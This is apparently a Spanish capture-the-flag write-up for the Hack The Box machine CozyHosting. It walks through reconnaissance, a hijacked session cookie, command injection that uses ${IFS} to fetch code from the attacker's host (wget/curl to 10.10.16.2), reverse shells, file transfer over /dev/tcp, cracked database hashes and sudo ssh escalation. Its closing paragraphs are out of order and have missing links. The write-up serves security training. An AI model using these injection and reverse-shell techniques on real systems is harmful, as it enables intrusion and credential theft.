CozyHosting es una máquina Linux de nivel de dificultad fácil que cuenta con una aplicación Spring Boot. La aplicación tiene habilitado el punto final Actuator. Enumerar el punto final conduce al descubrimiento de la cookie de sesión de un usuario, lo que lleva al acceso autenticado al panel principal. La aplicación es vulnerable a la inyección de comandos, que se aprovecha para obtener un shell inverso en la máquina remota. Al enumerar el archivo JAR de la aplicación, se descubren las credenciales codificadas y se utilizan para iniciar sesión en la base de datos local. La base de datos contiene una contraseña en hash, que una vez descifrada se utiliza para iniciar sesión en la máquina como el usuario josh. El usuario puede ejecutar ssh como root, lo que se aprovecha para aumentar por completo los privilegios.
Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina CozyHosting. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.230 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:53 CET
Initiating SYN Stealth Scan at 05:53
Scanning 10.10.11.230 [65535 ports]
Discovered open port 80/tcp on 10.10.11.230
Discovered open port 22/tcp on 10.10.11.230
Completed SYN Stealth Scan at 05:54, 12.79s elapsed (65535 total ports)
Nmap scan report for 10.10.11.230
Host is up, received user-set (0.038s latency).
Scanned at 2025-02-05 05:53:52 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.90 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65547 (2.623MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.230
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentra expuesta una página web de Nginx y el servicio SSH.
❯ nmap -sCV -p22,80 10.10.11.230 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-05 05:55 CET
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.056s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 96.66 ms 10.10.16.1
2 33.37 ms cozyhosting.htb (10.10.11.230)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.54 seconds
Añadiremos en nuestro archivo /etc/hosts la siguiente entrada.
Al buscar este mensaje de error por Internet, nos indica que se trata de Spring Boot. Por lo que podemos deducir que la página está basada en ese framework.
Spring Boot es un framework desarrollado para el trabajo con Java como lenguaje de programación. Se trata de un entorno de desarrollo de código abierto y gratuito. Spring Boot cuenta con una serie de características que han incrementado su popularidad y, en consecuencia, su uso por parte de los desarrolladores back-end.
Information Leakage
Spring Boot Actuator es un módulo que proporciona endpoints listos para monitorear, administrar y diagnosticar aplicaciones Spring Boot en tiempo de ejecución. Es especialmente útil para DevOps y monitoreo en producción.
Buscando nuveamente directorios, nos encontramos con los directorios admin y login.
❯ gobuster dir -u http://cozyhosting.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cozyhosting.htb
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 12706]
/login (Status: 200) [Size: 4431]
/admin (Status: 401) [Size: 97]
Verificamos que logramos acceder a un panel de administración que ofrece unos gráficos administrativos y un apartado para añadir hosts para analizarlos en el panel.
Initial Foothold
Command Injection on web panel
Interceptamos la petición con BurpSuite para verificar cómo funciona ese campo al añadir un nuevo host.
En la primera prueba realizada se indicaron los datos de nuestro equipo, por parte del servidor nos devolvió error de timed out.
Tratamos de ingresar localhost como host, pero se nos indicaba que había fallado la verificación de la clave. Esto nos hace pensar que por detrás probablemente el servidor lo que esté ejecutando es ssh -i [key] [username]@[hostname] para tratar de conectarse, por lo cual podríamos verificar si existen vulnerabilidades de inyección de comandos.
Probamos de inyectar código para ver si era vulnerable a Command Injection, pero el campo host parece ser que no era vulnerable.
Probamos de inyectar código en el campo de username y nos devolvió otro error distinto también.
Probamos de inyectar el comando -h y en la respuesta por parte del servidor, acabamos de confirmar por completo que lo que se está ejecutando por detrás por parte del servidor es el comando ssh mencionado anteriormente.
Tratamos de inyectar un comando con espacios, y se nos indica en la respuesta del servidor que no puede contener whitespaces.
Debido que no podemos utilizar espacios en blanco, podemos intentar utilizar ${IFS} como variable de entorno de Bash que se trata de un espacio.
La estructura de comando que ejecutará el servidor es la siguiente.
Para verificar si podemos ejecutar el comando, nos levantamos un servidor web con Python e inyectamos el código con el espacio a través de la variable indicada, verificamos que parece que se ha ejecutado debido que en nuestro servidor web hemos recibido una petición por GET.
gzzcoo;wget${IFS}10.10.16.2/test
Para tratar de conseguir una Reverse Shell, nos creamos un script en nuestro equipo para que la víctima ejecute el script a través del servidor web que levantamos para compartir este script.
Desde BurpSuite, enviaremos la siguiente inyección que lo que realizará es un cURL de nuestro script y lo ejecutará con una bash. Verificamos que logramos obtener acceso al equipo.
Otra de las maneras que nos encontramos, es a través de codificar el comando en base64.
En este caso, en un archivo llamado shell guardamos el contenido de la típica Reverse Shell, revisamos como sería el código codificado, en este caso nos mostraba carácteres como ==, lo cual posiblemente nos entraría en conflicto al no tratarse de un carácter común.
Por lo tanto, volvemos a editar el archivo añadiendo espacios en blanco en el comando, al verificar nuveamente el código en base64, verificamos que es una cadena de texto simple.
Desde BurpSuite, ejecutaremos la siguiente inyección, la cual ejecutará este comando en Base64, lo descodificará y el comando descodificado lo ejecutará a través de una bash.
Verificamos que logramos obtener acceso al equipo.
Nos encontramos en el equipo como el usuario app. Verificamos los usuarios que disponen de bashy de los grupos a los cuales formamos parte. Al revisar los archivos que disponemos en el directori actual, nos encontramos con un archivo .jar.
app@cozyhosting:/app$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
app@cozyhosting:/app$ id
uid=1001(app) gid=1001(app) groups=1001(app)
app@cozyhosting:/app$ ls
cloudhosting-0.0.1.jar
Nos pondremos en escucha desde nuestra máquina atacante para recibir este archivo. Desde la máquina víctima, enviaremos el contenido a través del /dev/tcp.
Abriremos este nuevo archivo JAR a través de la herramienta de JADX-GUI en busca de información sensible en el código fuente.
Recordando que la página web utilizaba el framework de Spring Boot, intentamos buscar por Internet información sobre ficheros JAR de Spring Boot y nos encontramos sobre application.properties que debería contener información interesante.
Al analizar el binario, logramos visualizar credenciales de acceso a PostgreSQL.
Database Enumeration
Revisamos en la máquina víctima los puertos abiertos, y verificamos que el puerto de PostgreSQL se encontraba abierto internamente.
app@cozyhosting:/$ netstat -ano | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
tcp6 0 0 127.0.0.1:8080 :::* LISTEN off (0.00/0/0)
app@cozyhosting:/$ which psql
/usr/bin/psql
Accedeeremos al SQL a través de las credenciales obtenidas. Verificamos de la existencia de diferentes bases de datos, las cuales parece llamarnos más la atención la de cozyhosting.
Revisaremos las tablas de la base de datos mencionada, entre las tablas encontradas nos encontramos con una tabla users que disponía de usuarios y credenciales en formato hash.
app@cozyhosting:/$ psql -h localhost -p 5432 -U postgres
Password for user postgres:
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
postgres=# \list
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-------------+----------+----------+-------------+-------------+-----------------------
cozyhosting | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)
postgres=# \connect cozyhosting
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
You are now connected to database "cozyhosting" as user "postgres".
cozyhosting=# \dt
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
cozyhosting=# SELECT * FROM users;
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
Trataremos de crackear estos hashes obtenidos, verificamos que logramos obtener las credenciales en texto plano del usuario llamado admin.
Dado que únicamente josh era el usuario que disponía de bash, probamos de acceder con él para ver si esta contraseña se reutilizaba en este usuario. Logramos pivotar de usuario y verificar la flag de user.txt.
app@cozyhosting:/$ su josh
Password:
josh@cozyhosting:/$ cd /home/josh
josh@cozyhosting:~$ cat user.txt
ef4f1dc1330f********************
Privilege Escalation
Abusing sudoers privilege (ssh)
Revisando los permisos de sudoers que dispone el usuario josh, verificamos que puede ejecutar como root el binario de /usr/bin/ssh.
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User josh may run the following commands on localhost:
(root) /usr/bin/ssh *
En GTFOBins nos encontramos con la siguiente página la cual nos menciona como aprovecharnos de este permiso enel binario de ssh. Ejecutamos el comando que se nos menciona, verificamos que nos convertimos en usuarioroot y logramos visualizar la flag de root.txt.
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Al acceder a, verificamos que se trata de una página en la cual a simple vista no logramos ver más páginas ni ningún tipo de información relevante.
Al intentar acceder a , verificamos que nos aparece un mensaje de error peculiar.
Al verificar el siguiente sitio web , nos encontramos con diferentes endpoints.
Revisando el contenido de, verificamos que nos aparece lo que parece ser una cookie de sesión del usuario kanderson.
Al tratar de acceder a somos redirigidos a login.
Modificaremos nuestra cookie de sesión actual para indicar la que hemos encontrado del usuario kanderson. Probaremos de acceder nuevamente a